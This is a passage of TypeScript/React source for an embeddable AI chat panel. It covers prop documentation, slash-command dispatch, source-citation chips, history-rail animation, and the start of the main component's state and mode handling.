- `'drawer'` (default): wraps in a body-level Radix Drawer (slide-in\n   *     overlay from the right) — the original MPH / standalone behaviour.\n   *   - `'none'`: no shell. Renders only the chat body so the consumer can\n   *     host it inside their own container (e.g. `AppLayoutDrawerContent`).\n   *     The internal \"Ask AI\" trigger and iOS body scroll-lock are also\n   *     suppressed — those are Drawer-shell concerns. The consumer is\n   *     responsible for mount/unmount and for opening/closing via the\n   *     `open` / `onOpenChange` props (which the in-body close button still\n   *     drives).\n   */\n  shell?: 'drawer' | 'none';\n\n  /**\n   * Display name of the signed-in user, shown as the sub-line under the chat\n   * title in the panel header. The server-resolved chat identity\n   * (`useChatIdentity().user.name`) always wins when present; this is the\n   * host-supplied fallback so the header still shows who's signed in when the\n   * identity endpoint doesn't return a name (e.g. a tenant whose identity\n   * route omits it). Empty/undefined → the header renders the title alone.\n   */\n  userDisplayName?: string;\n\n  /**\n   * Avatar URL of the signed-in user — the header-avatar counterpart of\n   * `userDisplayName`. Used for the New Chat compose view (and as the\n   * fallback when an open conversation's dialog carries no owner info).\n   * The server-resolved identity avatar wins when present; absent both →\n   * initials derived from the display name.\n   */\n  userAvatarUrl?: string;\n\n  /**\n   * Content overrides for the default (Mingo-mode) empty state\n   * (`<MingoWelcome>`): greeting `title`/`subtitle`, the `promo` card, and\n   * extra `quickActions` chips.\n   * Each field falls back to the built-in OpenFrame defaults, so the kit\n   * stays platform-agnostic. `onStartGuideChat` and `hasExistingChats` are\n   * wired internally and are NOT overridable here. The quick-action\n   * hover-preview callbacks are also wired internally.\n   */\n  mingoWelcome?: Omit<\n    MingoWelcomeProps,\n    'onStartGuideChat' | 'hasExistingChats' | 'onQuickActionHover' | 'onQuickActionHoverEnd'\n  >;\n\n  /**\n   * Content overrides for the Guide-mode empty state (`<GuideWelcome>`):\n   * greeting `title`/`subtitle` and the `quickActions` chips. Each field falls\n   * back to the built-in OpenFrame defaults. `onQuickAction` and the\n   * slash-command list `children` are wired internally and not overridable.\n   */\n  guideWelcome?: Omit<GuideWelcomeProps, 'onQuickAction' | 'children'>;\n\n  /**\n   * Entity-context picker config (Figma 31:28708 / 1:5699). When provided, the\n   * composer renders the `+` \"Assign Item\" menu, the `@`-mention trigger, the\n   * two-level picker (entity-type list → searchable multi-select), and the\n   * selected-item chips; the selection rides out on send via\n   * `sendMessage(text, { contextItems })`, which the host folds into its\n   * outgoing payload. The host owns every entity source (REST/GraphQL) behind\n   * `config.search`. Omit to disable the feature entirely.\n   */\n  contextPicker?: ChatContextPickerConfig;\n  /**\n   * Host renderer for inline AI mentions `@marker:id` (e.g. the assistant\n   * echoing `@device:<machineId>` in its reply). DIRECT MIRROR of\n   * `renderEntityCard` for the `[card://]` grammar: the lib detects the token,\n   * parses `{marker, id}`, and renders whatever the host returns — typically a\n   * SELF-FETCHING chip (each entity type has its own fetcher) that resolves its\n   * own display name by id. SEPARATE from `contextPicker`/`contextItems` (the\n   * USER's attachments). Keep the function identity stable (module const /\n   * `useCallback`) so the thread's streaming memo holds. Return null for a\n   * marker the host can't render → the lib falls back to the bare token.\n   */\n  renderMention?: (reference: { marker: string; id: string }) => React.ReactNode;\n  /**\n   * Host renderer that REPLACES the default label-only context chip on a sent\n   * user bubble with a self-fetching entity chip — so a user's manually\n   * attached context (`contextItems`) renders IDENTICALLY to an inline\n   * `@marker:id` mention (same live name resolution + link). Mirror of\n   * `renderMention`, for the attached-chip strip instead of inline tokens.\n   * Return null for an item the host can't render → the lib falls back to the\n   * label pill. Keep the identity stable (module const / `useCallback`).\n   */\n  renderContextItem?: (item: ChatContextItem) => React.ReactNode;\n  /**\n   * One-shot prompt auto-sent into GUIDE mode. When set to a non-empty string\n   * while `activeMode === 'guide'`, the panel sends it once via the active\n   * (Guide/SSE) transport on the next render — e.g. an \"Ask Mingo about X\"\n   * empty-state launcher that wants contextual guidance about a section — and\n   * then invokes `onGuidePromptConsumed` so the host can null it. Nulling the\n   * prop re-arms the one-shot, so the SAME text can be launched again later.\n   * No-op in Mingo mode (the host should force `activeMode='guide'` alongside).\n   */\n  guidePendingPrompt?: string | null;\n  /**\n   * Called once `guidePendingPrompt` has been handed to the Guide transport, so\n   * the host can clear its queued prompt (which re-arms the one-shot).\n   */\n  onGuidePromptConsumed?: () => void;\n  /**\n   * CONTEXT MEMORY (Figma 271:38656) — the entities the host collected from the\n   * user's navigation history and rides out on every message. Rendered as a\n   * summary strip at the top of the composer card (\"N recently viewed items in\n   * context\") with a `⋯` dropdown listing them all, each removable via\n   * `onRemove`. Replaces the old under-the-header \"current page context\" banner.\n   *\n   * Host-owned data (it lives in the host's navigation store); the lib only\n   * places and styles it, resolving lead glyphs from `contextPicker.entityTypes`.\n   * Shown only alongside an active `contextPicker` (i.e. Mingo mode); an empty\n   * `items` array renders nothing. Keep the object identity stable (`useMemo`).\n   */\n  contextMemory?: {\n    items: ChatContextItem[];\n    onRemove?: (item: ChatContextItem) => void;\n  };\n}\n\n// =============================================================================\n// Chip href resolution\n// =============================================================================\n\n/** Tiny inline replacement for hub's `formatRelativePath`. */\nconst formatRelativePath = (p: string): string => p.replace(/^\\/+/, '').replace(/\\/+$/, '');\n\n/**\n * The committed `@`-mention text token, derived from a `type:id` identity key.\n * The TYPE is replaced with its backend mention MARKER (`markerByType`, e.g.\n * `KB_ARTICLE → 'kb'`), falling back to a lowercased type when the host didn't\n * declare one (`@device:…`, not `@DEVICE:…`); the `id` is left verbatim. The\n * structured context items keep the original (upper) entity-kind for the wire\n * enum, so this only affects the inline draft token. `[A-Za-z…]` in the input\n * regex matches either case, so commit/strip/detect stay symmetric.\n */\nconst mentionTokenOf = (key: string, markerByType: Map<string, string>): string => {\n  const ci = key.indexOf(':');\n  const type = ci === -1 ? key : key.slice(0, ci);\n  const id = ci === -1 ? '' : key.slice(ci + 1);\n  return `${markerByType.get(type) ?? type.toLowerCase()}:${id}`;\n};\n\n/** Persists the user's rail collapse choice across drawer open/close + reloads. */\nconst RAIL_COLLAPSED_STORAGE_KEY = 'mingo-chat-history-collapsed';\n\n/** One shared empty list, so \"nothing staged\" keeps a stable identity. */\nconst NO_CONTEXT_ITEMS: ChatContextItem[] = [];\n\n/** Exit-timer budget (ms) before the collapsed rail unmounts — must cover the\n *  longest leave (`RAIL_COLLAPSE_MS`) plus a little slack so the width/opacity\n *  transition always settles before the element is removed. */\nconst RAIL_ANIM_MS = 320;\n\n/**\n * Presence + width-transition state for the history rail. The rail animates its\n * WIDTH (320 ⇄ 0) + opacity so the chat block grows/shrinks smoothly alongside\n * it — no hard reflow \"jump\" when it appears/disappears.\n *\n * - `mounted` — whether to render the rail at all (stays true through the leave\n *   so the collapse can play out before unmount).\n * - `active` — drives the expanded (`w-80 opacity-100`) vs collapsed\n *   (`w-0 opacity-0`) classes. On a fresh mount it flips true on the next frame\n *   so the open transitions from collapsed → expanded (an intro slide).\n */\nfunction useRailPresence(open: boolean): { mounted: boolean; active: boolean } {\n  const [mounted, setMounted] = useState(open);\n  // Start collapsed even when open, so the first paint transitions OPEN.\n  const [active, setActive] = useState(false);\n\n  // The two INSTANT halves happen while rendering: mounting on open and\n  // dropping the expanded classes on close are both edges this render already\n  // knows about. Mounting here also matters for the animation — the collapsed\n  // (`w-0`) frame has to be painted before the rAF pair flips `active`, and\n  // mounting from the effect delayed that frame by a whole commit. Each is\n  // guarded on the state it writes, so the pass React schedules takes the early\n  // exit.\n  if (open && !mounted) setMounted(true);\n  if (!open && active) setActive(false);\n\n  useEffect(() => {\n    if (open) {\n      // Flip to expanded only AFTER the browser has painted the collapsed\n      // (w-0) frame — otherwise the mount + expand coalesce into one paint and\n      // the width transition never plays (the rail \"pops\" open). A single rAF\n      // fires before that first paint; a SECOND rAF lands after it, so the\n      // enter transition runs from a real w-0 → w-80.\n      let raf2 = 0;\n      const raf1 = requestAnimationFrame(() => {\n        raf2 = requestAnimationFrame(() => setActive(true));\n      });\n      return () => {\n        cancelAnimationFrame(raf1);\n        cancelAnimationFrame(raf2);\n      };\n    }\n    // (`active` is already false — collapsed while rendering, above.)\n    if (!mounted) return undefined; // already gone — nothing to unmount later\n    const t = setTimeout(() => setMounted(false), RAIL_ANIM_MS);\n    return () => clearTimeout(t);\n  }, [open, mounted]);\n  return { mounted, active };\n}\n\n/**\n * Animated container for a history-rail cell (the header's \"Current Chats\" cell\n * and the body's list column). The OUTER box transitions its width 0 ⇄ 320 +\n * opacity (so the neighbouring chat block slides smoothly); the INNER keeps a\n * fixed `w-80` so the rail content never squishes mid-animation — it's just\n * clipped by the shrinking outer (`overflow-hidden`). One easing both ways;\n * the collapse runs a touch longer than the open for a soft close.\n */\nfunction RailSlot({\n  active,\n  innerClassName,\n  children,\n}: {\n  active: boolean;\n  innerClassName?: string;\n  children: React.ReactNode;\n}) {\n  return (\n    <div\n      className={cn(\n        // Border on the OUTER so the rail/chat divider tracks the animating\n        // boundary (and fades out with the panel) instead of vanishing early.\n        'shrink-0 overflow-hidden border-r border-ods-border transition-[width,opacity] ease-out',\n        active ? 'duration-[240ms] w-80 opacity-100' : 'duration-[300ms] w-0 opacity-0',\n      )}\n    >\n      <div className={cn('h-full w-80', innerClassName)}>{children}</div>\n    </div>\n  );\n}\n\n/**\n * Built-in default route for an OpenFrame AI agent's display config — the\n * lowest-precedence fallback so \"agent mode\" works with ZERO endpoint wiring.\n * Overridden by `runtime.endpoints.aiAgentConfigUrl` or the `aiAgentConfigUrl`\n * prop. Same-origin relative path (works for host + same-origin embeds);\n * cross-origin embedders behind a proxy override with their absolute path.\n */\nconst DEFAULT_AI_AGENT_CONFIG_URL = (slug: string): string => `/api/ai-agents/${encodeURIComponent(slug)}`;\n\n/**\n * Per-row width palette for the empty-state skeleton stack. Cycled\n * by index so each render is deterministic (no jitter between\n * loading frames) and the stack reads like a real, irregular list:\n *\n *   - titles vary from short (\"Webinars\") to long (\"OpenFrame Pull Requests\")\n *   - slashes vary from `/docs` to `/getting-started`\n *   - one row collapses to a single-line description to mimic the\n *     short-copy entries returned by `/api/docs/commands`.\n */\nconst SKELETON_ROW_VARIANTS: ReadonlyArray<{\n  titleWidth: string;\n  slashWidth: string;\n  descriptionLines: 1 | 2;\n}> = [\n  { titleWidth: 'w-32', slashWidth: 'w-20', descriptionLines: 2 },\n  { titleWidth: 'w-28', slashWidth: 'w-16', descriptionLines: 2 },\n  { titleWidth: 'w-40', slashWidth: 'w-24', descriptionLines: 2 },\n  { titleWidth: 'w-44', slashWidth: 'w-28', descriptionLines: 2 },\n  { titleWidth: 'w-36', slashWidth: 'w-24', descriptionLines: 1 },\n  { titleWidth: 'w-24', slashWidth: 'w-16', descriptionLines: 2 },\n];\n\n// =============================================================================\n// Slash-command dispatch\n// =============================================================================\n\n/**\n * Single source of truth for slash-command action dispatch. Maps an action\n * id to the corresponding chat-input-ref mutation. Same vocabulary as the\n * hub original.\n */\nfunction dispatchSlashCommandAction(\n  actionId: SlashCommandActionId,\n  cmdId: string,\n  ref: React.MutableRefObject<ChatInputRef | null>,\n): void {\n  const input = ref.current;\n  if (!input) return;\n  switch (actionId) {\n    case 'browse':\n      input.submit(formatSingularLookupInvocation(cmdId));\n      return;\n    case 'search':\n      input.setValue(`/${cmdId} `);\n      return;\n    case 'find': {\n      const text = `/${cmdId} \"\"`;\n      input.setValueAndCursor(text, text.length - 1);\n      return;\n    }\n    case 'display': {\n      const text = `/${cmdId} display \"\"`;\n      input.setValueAndCursor(text, text.length - 1);\n      return;\n    }\n  }\n}\n\n// =============================================================================\n// SourceChip\n// =============================================================================\n\n/**\n * Source chip — TWO affordances per the hub original:\n *  1. Open: click → chip's URL (in-app for docs, new-tab for external).\n *  2. Ask: small `MessageSquare` icon-button on the right → fires\n *     `onDiscuss(ref)` to drill into THIS row via `entityIdFilter`.\n */\nfunction SourceChip({\n  src,\n  baseRoute,\n  chipBasePlatform,\n  onClose,\n  onDiscuss,\n}: {\n  src: ChatSource;\n  baseRoute: string;\n  chipBasePlatform?: string;\n  onClose: () => void;\n  onDiscuss?: (ref: ChatRef) => void;\n}) {\n  const runtime = useRequiredChatRuntime();\n  const router = useRouter();\n  // Single CTA resolver — same icon, same href chain, same ChatRef\n  // synthesis the inline card and search-result paths use.\n  const cta = resolveSourceRowCTA(\n    {\n      sourceRepo: src.sourceRepo,\n      documentType: src.documentType,\n      id: src.id,\n      title: src.name,\n      externalUrl: src.externalUrl,\n      targetPlatform: src.targetPlatform ?? null,\n      path: src.path,\n    },\n    sourceRowCtxFromRuntime(runtime, { baseRoute, chipBasePlatform }),\n  );\n  const Icon = cta.icon;\n  const icon = <Icon className=\"h-3.5 w-3.5\" />;\n  const chipClass = chatChipClass({ tone: 'secondary' });\n\n  // Single source for the new-tab decision — same `computeIsNewTab` the\n  // inline cards consume via `ChatCardLoader`.\n  const decideTab = (href: string | null, targetPlatform: string | null) =>\n    computeIsNewTab(runtime, href, targetPlatform);\n\n  // Grouped source — hover/click reveals a dropdown with Open + Ask per row.\n  if (src.items && src.items.length > 0) {\n    const dropdownItems: HoverDropdownItem[] = src.items.map(item => {\n      const itemCta = resolveSourceRowCTA(\n        {\n          sourceRepo: src.sourceRepo,\n          documentType: item.documentType,\n          id: item.id,\n          title: item.name,\n          externalUrl: item.externalUrl,\n          targetPlatform: item.targetPlatform ?? null,\n          path: item.path,\n        },\n        sourceRowCtxFromRuntime(runtime, { baseRoute, chipBasePlatform }),\n      );\n      const ItemIcon = itemCta.icon;\n      // Read out of the CTA before the `onClick` closure below is built: a\n      // property narrowing does not survive into a callback (the property\n      // could in principle be reassigned before it fires), so capturing the\n      // value is what keeps the handler assertion-free.\n      const itemChatRef = itemCta.chatRef;\n      return {\n        label: item.name,\n        icon: <ItemIcon className=\"h-3.5 w-3.5\" />,\n        href: itemCta.href ?? undefined,\n        targetPlatform: itemCta.targetPlatform,\n        path: item.path ?? null,\n        secondaryAction:\n          onDiscuss && itemCta.askable && itemChatRef\n            ? {\n                icon: <MessageSquare />,\n                label: `Ask about ${item.name}`,\n                onClick: () => onDiscuss(itemChatRef),\n              }\n            : undefined,\n      };\n    });\n\n    return (\n      <HoverDropdown\n        items={dropdownItems}\n        renderAnchor={({ href, targetPlatform, path, className, children }) => (\n          <NavLinkAnchorViaRuntime\n            href={href}\n            targetPlatform={targetPlatform ?? null}\n            path={path}\n            className={className}\n          >\n            {children}\n          </NavLinkAnchorViaRuntime>\n        )}\n      >\n        <span className={`${chipClass} cursor-pointer`}>\n          {icon}\n          <span className=\"max-w-[160px] truncate\">\n            [{src.index}] {src.name}\n          </span>\n        </span>\n      </HoverDropdown>\n    );\n  }\n\n  // Single-row chip helpers — wrap whatever clickable element each branch\n  // produces with the trailing Ask `SourceActionButton`.\n  const displayName = src.name || formatRelativePath(src.path);\n  const chipBody = (label: string) => (\n    <>\n      {icon}\n      <span className=\"max-w-[160px] truncate\">\n        [{src.index}] {label}\n      </span>\n    </>\n  );\n  const wrapChip = (clickable: React.ReactNode) => (\n    <span className=\"inline-flex items-center\">\n      {clickable}\n      <SourceActionButton chatRef={cta.chatRef} onDiscuss={onDiscuss} density=\"inline\" className=\"-mr-1 ml-1\" />\n    </span>\n  );\n\n  // Click handler that routes through chat-runtime AND closes the chat\n  // panel ONLY on same-tab navigation. New-tab clicks leave the chat\n  // open so the user keeps their context while reading the new tab.\n  // Modifier-clicks pass through to the browser's native behavior.\n  // Single close model: matches `ChatCardNavWrap` for inline cards.\n  const buildClickHandler =\n    (href: string, path: string | null | undefined, targetPlatform: string | null, isNewTab: boolean) =>\n    (e: React.MouseEvent<HTMLAnchorElement>) => {\n      const handled = executeNavigation({\n        event: e,\n        runtime,\n        href,\n        path,\n        targetPlatform,\n        fallbackNavigate: router.push,\n      });\n      if (handled && !isNewTab && onClose) onClose();\n    };\n\n  // Entity chip with a resolved external URL. `resolveHrefForRuntime`\n  // applies embed-mode origin prefix so modifier-click / hover-preview\n  // / right-click \"copy link\" all land on the hub origin.\n  if (cta.href && !!src.externalUrl) {\n    const resolvedHref = resolveHrefForRuntime(cta.href, runtime);\n    const isNewTab = decideTab(resolvedHref, cta.targetPlatform ?? null);\n    return wrapChip(\n      <a\n        href={resolvedHref}\n        {...newTabAnchorAttrs(isNewTab)}\n        onClick={buildClickHandler(resolvedHref, null, cta.targetPlatform ?? null, isNewTab)}\n        className={chipClass}\n      >\n        {chipBody(src.name)}\n      </a>,\n    );\n  }\n\n  // In-app navigable doc (markdown / data-room PDF).\n  if (cta.href) {\n    const resolvedHref = resolveHrefForRuntime(cta.href, runtime);\n    const isNewTab = decideTab(resolvedHref, cta.targetPlatform ?? null);\n    return wrapChip(\n      <a\n        href={resolvedHref}\n        {...newTabAnchorAttrs(isNewTab)}\n        onClick={buildClickHandler(resolvedHref, src.path, cta.targetPlatform ?? null, isNewTab)}\n        className={chipClass}\n        title={displayName}\n      >\n        {chipBody(displayName)}\n      </a>,\n    );\n  }\n\n  // No openable destination — static label + Ask affordance only.\n  return wrapChip(\n    <span className={`${chipClass} cursor-default`} title={displayName}>\n      {chipBody(displayName)}\n    </span>,\n  );\n}\n\n/**\n * Cited-by-default source chip strip (Perplexity / ChatGPT pattern).\n * Cited rows render first; uncited tail hidden behind an expander.\n */\nfunction SourceChips({\n  cited,\n  uncited,\n  baseRoute,\n  chipBasePlatform,\n  onClose,\n  onDiscuss,\n}: {\n  cited: ChatSource[];\n  uncited: ChatSource[];\n  baseRoute: string;\n  chipBasePlatform?: string;\n  onClose: () => void;\n  onDiscuss?: (ref: ChatRef) => void;\n}) {\n  const [expanded, setExpanded] = useState(false);\n\n  if (cited.length === 0) {\n    const fallback = uncited.slice(0, FALLBACK_TOP_RETRIEVED);\n    if (fallback.length === 0) return null;\n    return (\n      <div className=\"mt-2 flex flex-col gap-1.5 border-t border-ods-border pt-2\">\n        <span className=\"uppercase text-ods-text-muted text-h6\">Top retrieved sources</span>\n        <div className=\"flex flex-wrap gap-1.5\">\n          {fallback.map(src => (\n            <SourceChip\n              key={src.index}\n              src={src}\n              baseRoute={baseRoute}\n              chipBasePlatform={chipBasePlatform}\n              onClose={onClose}\n              onDiscuss={onDiscuss}\n            />\n          ))}\n        </div>\n      </div>\n    );\n  }\n\n  const hiddenCount = uncited.length;\n  const hasOverflow = hiddenCount > 0;\n\n  return (\n    <div className=\"mt-2 flex flex-col gap-1.5 border-t border-ods-border pt-2\">\n      <span className=\"uppercase text-ods-text-muted text-h6\">Sources</span>\n      <div className={`flex flex-wrap gap-1.5 ${expanded ? 'max-h-[200px] overflow-y-auto overscroll-contain' : ''}`}>\n        {cited.map(src => (\n          <SourceChip\n            key={src.index}\n            src={src}\n            baseRoute={baseRoute}\n            chipBasePlatform={chipBasePlatform}\n            onClose={onClose}\n            onDiscuss={onDiscuss}\n          />\n        ))}\n        {expanded &&\n          uncited.map(src => (\n            <SourceChip\n              key={src.index}\n              src={src}\n              baseRoute={baseRoute}\n              chipBasePlatform={chipBasePlatform}\n              onClose={onClose}\n              onDiscuss={onDiscuss}\n            />\n          ))}\n        {hasOverflow && (\n          <button\n            onClick={() => setExpanded(!expanded)}\n            className=\"inline-flex cursor-pointer items-center gap-1 rounded border border-ods-accent bg-ods-card px-2 py-0.5 text-ods-accent transition-colors text-h6 hover:bg-ods-accent/10\"\n            aria-expanded={expanded}\n            aria-label={expanded ? 'Show fewer sources' : `Show ${hiddenCount} additional retrieved sources`}\n          >\n            {expanded ? 'Show less' : `+${hiddenCount} more retrieved ${hiddenCount === 1 ? 'source' : 'sources'}`}\n          </button>\n        )}\n      </div>\n    </div>\n  );\n}\n\n// =============================================================================\n// Component\n// =============================================================================\n\n/**\n * EmbeddableChat — the floating \"Ask AI\" button + Mingo chat panel.\n * Lib-portable port of the hub's `<GlobalAskAI>`.\n */\n/**\n * Imperative escape hatch for the ONE thing a host can't express as a prop:\n * \"put the panel on a new chat, now\". Everything else the host drives is state\n * it already owns (open, active dialog, mode); this is a command, and it has to\n * work whether the panel was just mounted or has been open on the chat list for\n * a while — which a mount-time prop or a `view` prop can't do (re-asserting the\n * same value is not a change).\n */\nexport interface EmbeddableChatHandle {\n  /**\n   * Same as the panel's own \"Start New Chat\": clears the open conversation and\n   * its messages, force-closes the archive, and — in the narrow single-column\n   * layout — navigates from the \"Current Chats\" list to the composer. Wide\n   * layouts already show the new-chat welcome once nothing is open, so there\n   * the compose flag is inert.\n   */\n  startNewChat: () => void;\n}\n\nexport const EmbeddableChat = React.forwardRef<EmbeddableChatHandle, EmbeddableChatProps>(\n  function EmbeddableChatImpl(props, ref) {\n    return <EmbeddableChatInner {...props} handleRef={ref} />;\n  },\n);\nEmbeddableChat.displayName = 'EmbeddableChat';\n\nfunction EmbeddableChatInner({\n  baseRoute,\n  chipBasePlatform,\n  enabledRagTableIds = null,\n  emptyStateGreeting = null,\n  suggestedQueries = null,\n  open,\n  onOpenChange,\n  defaultOpen,\n  showInternalTrigger = true,\n  previewMode = false,\n  extras,\n  tableIdForDocumentType,\n  modes,\n  mingoState,\n  pendingApprovals,\n  mingoDialogCapabilities,\n  activeMode: controlledActiveMode,\n  onActiveModeChange,\n  activeAgentSlug,\n  onAgentChange: _onAgentChange,\n  aiAgentConfigUrl: aiAgentConfigUrlProp,\n  defaultActiveMode,\n  shell = 'drawer',\n  userDisplayName,\n  userAvatarUrl,\n  mingoWelcome,\n  guideWelcome,\n  contextPicker,\n  renderMention,\n  renderContextItem,\n  guidePendingPrompt,\n  onGuidePromptConsumed,\n  contextMemory,\n  handleRef,\n}: EmbeddableChatProps & { handleRef?: React.Ref<EmbeddableChatHandle> }) {\n  // `shell === 'none'` means the consumer hosts us inside their own panel\n  // (e.g. AppLayoutDrawer in openframe-frontend). Several drawer-shell\n  // concerns are unconditional in this codebase — gate them off here so\n  // we don't double-up with the host's behaviour.\n  const shellLess = shell === 'none';\n  const runtime = useRequiredChatRuntime();\n  // Optional on embedders (platform-agnostic); '' is a harmless sentinel for the\n  // `ask-ai:open-with-ref` event filter below. Deliberately NOT the hub's\n  // (deprecated) `rag-table-config` DocSource type — the chat source is always\n  // a plain string id, which `useSseChatAdapter` reads from `runtime.source`.\n  const source = runtime.source ?? '';\n  const commandsUrl = runtime.endpoints.commandsUrl;\n  // Server-resolved identity — drives the greeting first-name AND the\n  // attachment capability flag. Single source of truth: the chat-identity\n  // endpoint returns BOTH the auth tier and the resolved user, so the\n  // displayed name always matches who the server thinks the user is.\n  const { attachmentsEnabled, user: identityUser } = useChatIdentity();\n  const viewUrlPrefix = runtime.endpoints.attachmentViewUrlPrefix;\n\n  // Dev-only warning when only one of `open` / `onOpenChange` is set.\n  useEffect(() => {\n    if (process.env.NODE_ENV !== 'production') {\n      const hasOpen = open !== undefined;\n      const hasHandler = onOpenChange !== undefined;\n      if (hasOpen !== hasHandler) {\n        console.warn(\n          '[EmbeddableChat] `open` and `onOpenChange` must both be provided ' +\n            'for controlled mode, or both omitted for uncontrolled. ' +\n            `Provided: open=${hasOpen}, onOpenChange=${hasHandler}.`,\n        );\n      }\n    }\n  }, [open, onOpenChange]);\n\n  const [isOpen = false, setIsOpen] = useControllableState<boolean>({\n    prop: open,\n    defaultProp: defaultOpen ?? false,\n    onChange: onOpenChange,\n  });\n\n  // Suppress chat input auto-focus on touch devices (avoids popping the\n  // on-screen keyboard during the bottom-sheet open animation).\n  const [autoFocusInput] = useState(() => {\n    if (typeof window === 'undefined') return false;\n    return !window.matchMedia('(pointer: coarse)').matches;\n  });\n\n  // iOS scroll-lock — react-aria's two-layer approach plus body fixed-pos.\n  // See hub original for the long mechanism comment; logic copied verbatim.\n  // Skipped in shell-less mode: the host (AppLayoutDrawer) is in-layout, so\n  // there's no body-level overlay that should block page scrolling.\n  usePreventScroll({ isDisabled: !isOpen || shellLess });\n\n  const navigatingAwayRef = useRef(false);\n\n  useEffect(() => {\n    if (!isOpen) return undefined;\n    if (shellLess) return undefined;\n    if (typeof window === 'undefined') return undefined;\n    if (!isIOS()) return undefined;\n\n    navigatingAwayRef.current = false;\n\n    const scrollY = window.scrollY;\n    const openPathname = window.location.pathname;\n    const body = document.body;\n    const prev = {\n      position: body.style.position,\n      top: body.style.top,\n      width: body.style.width,\n    };\n    body.style.position = 'fixed';\n    body.style.top = `-${scrollY}px`;\n    body.style.width = '100%';\n\n    return () => {\n      body.style.position = prev.position;\n      body.style.top = prev.top;\n      body.style.width = prev.width;\n      if (navigatingAwayRef.current) return;\n      if (window.location.pathname !== openPathname) return;\n      window.scrollTo(0, scrollY);\n    };\n  }, [isOpen, shellLess]);\n\n  // Imperative handle to the chat input.\n  const chatInputRef = useRef<ChatInputRef | null>(null);\n  // Full prompt of the currently hovered/focused quick-action chip, previewed\n  // as ghost text in the empty composer (`ChatInput.previewText`) — declarative\n  // + non-destructive: it never writes the editor value, so it can't clobber a\n  // draft. `null` = not previewing.\n  const [quickActionPreview, setQuickActionPreview] = useState<string | null>(null);\n\n  // The slash-command registry (Guide onboarding cards) is loaded via\n  // react-query below, after `activeMode` is resolved — gated on Guide mode and\n  // cached across remounts. See `commandsById` / `commandsLoaded`.\n\n  // Slash-command autocomplete config — passed to <ChatInput>.\n  const slashCommandsProp = useMemo(\n    () => ({\n      fetchCommands: (prefix: string, signal?: AbortSignal) => fetchSlashCommands(prefix, signal, commandsUrl),\n      resolveSourceIcon: (sourceId: string) => {\n        const iconName = getSourceIconName(sourceId);\n        if (!iconName) return undefined;\n        return { Icon: resolveIcon(iconName, { variant: 'brand' }), label: sourceId };\n      },\n      onAction: (cmd: SlashCommandSummary, actionId: SlashCommandActionId) => {\n        dispatchSlashCommandAction(actionId, cmd.id, chatInputRef);\n      },\n    }),\n    [commandsUrl],\n  );\n\n  // Header sub-line: the full display name shown under the chat title. The\n  // server-resolved identity wins; the host-supplied `userDisplayName` is the\n  // fallback so the header still names the signed-in user when the identity\n  // endpoint returns no name. Empty → the header shows the title alone.\n  const headerUserName =\n    identityUser?.name?.trim() ||\n    [identityUser?.firstName, identityUser?.lastName].filter(Boolean).join(' ').trim() ||\n    userDisplayName?.trim() ||\n    undefined;\n\n  // Synthesize `modes` from legacy props when the new API isn't used.\n  // `modes` wins when both are present — the legacy top-level\n  // `tableIdForDocumentType` is then silently ignored.\n  const effectiveModes = useMemo<UseUnifiedChatModes>(() => {\n    if (modes) return modes;\n    const guideOptions: UseSseChatAdapterOptions = tableIdForDocumentType ? { tableIdForDocumentType } : {};\n    return { guide: guideOptions };\n  }, [modes, tableIdForDocumentType]);\n\n  // \"Does Mingo mode exist?\" — true via either the callback config OR injected\n  // state. Gates the guide↔mingo back-chevron and the guide-mode banner.\n  const hasMingoMode = !!effectiveModes.mingo || !!mingoState;\n\n  // Initial active mode picks the first configured slot when neither\n  // controlled `activeMode` nor `defaultActiveMode` is provided. Guide\n  // wins ties so legacy callers see no behaviour change.\n  const initialActiveMode: ChatMode =\n    controlledActiveMode ?? defaultActiveMode ?? (effectiveModes.guide ? 'guide' : 'mingo');\n\n  const [uncontrolledActiveMode, setUncontrolledActiveMode] = useState<ChatMode>(initialActiveMode);\n  const activeMode = controlledActiveMode ?? uncontrolledActiveMode;\n  const handleActiveModeChange = useCallback(\n    (next: ChatMode) => {\n      if (controlledActiveMode === undefined) {\n        setUncontrolledActiveMode(next);\n      }\n      onActiveModeChange?.(next);\n    },\n    [controlledActiveMode, onActiveModeChange],\n  );\n\n  // Slash-command registry (Guide onboarding cards) via the shared\n  // `useSlashCommandRegistry` react-query hook:\n  //   - `enabled: activeMode === 'guide'` → never fetched in Mingo mode, so\n  //     opening the default Mingo panel doesn't hit the commands endpoint.\n  //   - Shares one cache entry (keyed on `commandsUrl`) with the SSE adapter's\n  //     `displayRef` lookup, so Guide mode fetches `commands` ONCE, not twice.\n  //   - Cached with `staleTime/gcTime: Infinity` inside the hook, so toggling\n  //     to Guide or reopening the (remounting) drawer reads from cache.\n  const { commands: commandsList, loaded: commandsLoaded } = useSlashCommandRegistry(commandsUrl, {\n    enabled: activeMode === 'guide',\n  });\n  const commandsById = useMemo(() => {\n    const map = new Map<string, SlashCommandSummary>();\n    for (const cmd of commandsList) map.set(cmd.id, cmd);\n    return map;\n  }, [commandsList]);\n\n  // Per-platform empty-state config (greeting + RAG-source filter + try-asking\n  // chips), admin-edited in `/admin/chat-config`. Host-mode (in-app) callers\n  // inject these as props and leave `emptyStateUrl` unset — the hook then\n  // disables the fetch and returns the neutral fallback, so the props win\n  // below. Cross-origin EMBEDDERS set `emptyStateUrl` and the fetched values\n  // take precedence.\n  //\n  // Fetched EXACTLY like the slash-command registry: gated on\n  // `activeMode === 'guide'` (every consumer — greeting, chip-catalog filter,\n  // try-asking chips — is Guide-only), so opening the default Mingo panel never\n  // hits the endpoint. Cached with `staleTime/gcTime: Infinity` inside the hook,\n  // so toggling to Guide or reopening the (remounting) drawer reads from cache\n  // — NOT a request per open.\n  // Agent-mode URL override: when an OpenFrame agent is selected, point the\n  // empty-state fetch at the agent's display-config endpoint (byte-compatible\n  // EmptyStateConfig shape) instead of the platform `emptyStateUrl`. Works in\n  // BOTH host and embed mode (no navigation-mode gate). Route precedence:\n  //   prop `aiAgentConfigUrl` → runtime endpoint → built-in default\n  // so agent mode functions with zero wiring yet stays fully overridable. The\n  // single `emptyStateUrl` var below feeds BOTH the fetch AND the downstream\n  // `emptyStateUrl ? fetched : prop` discriminator, so no other code changes.\n  const resolveAgentConfigUrl =\n    aiAgentConfigUrlProp ?? runtime.endpoints.aiAgentConfigUrl ?? DEFAULT_AI_AGENT_CONFIG_URL;\n  const agentConfigUrl = activeAgentSlug ? resolveAgentConfigUrl(activeAgentSlug) : undefined;\n  const emptyStateUrl = agentConfigUrl ?? runtime.endpoints.emptyStateUrl;\n  // Widen the fetch gate so a selected agent's display loads regardless of the\n  // guide/mingo active mode 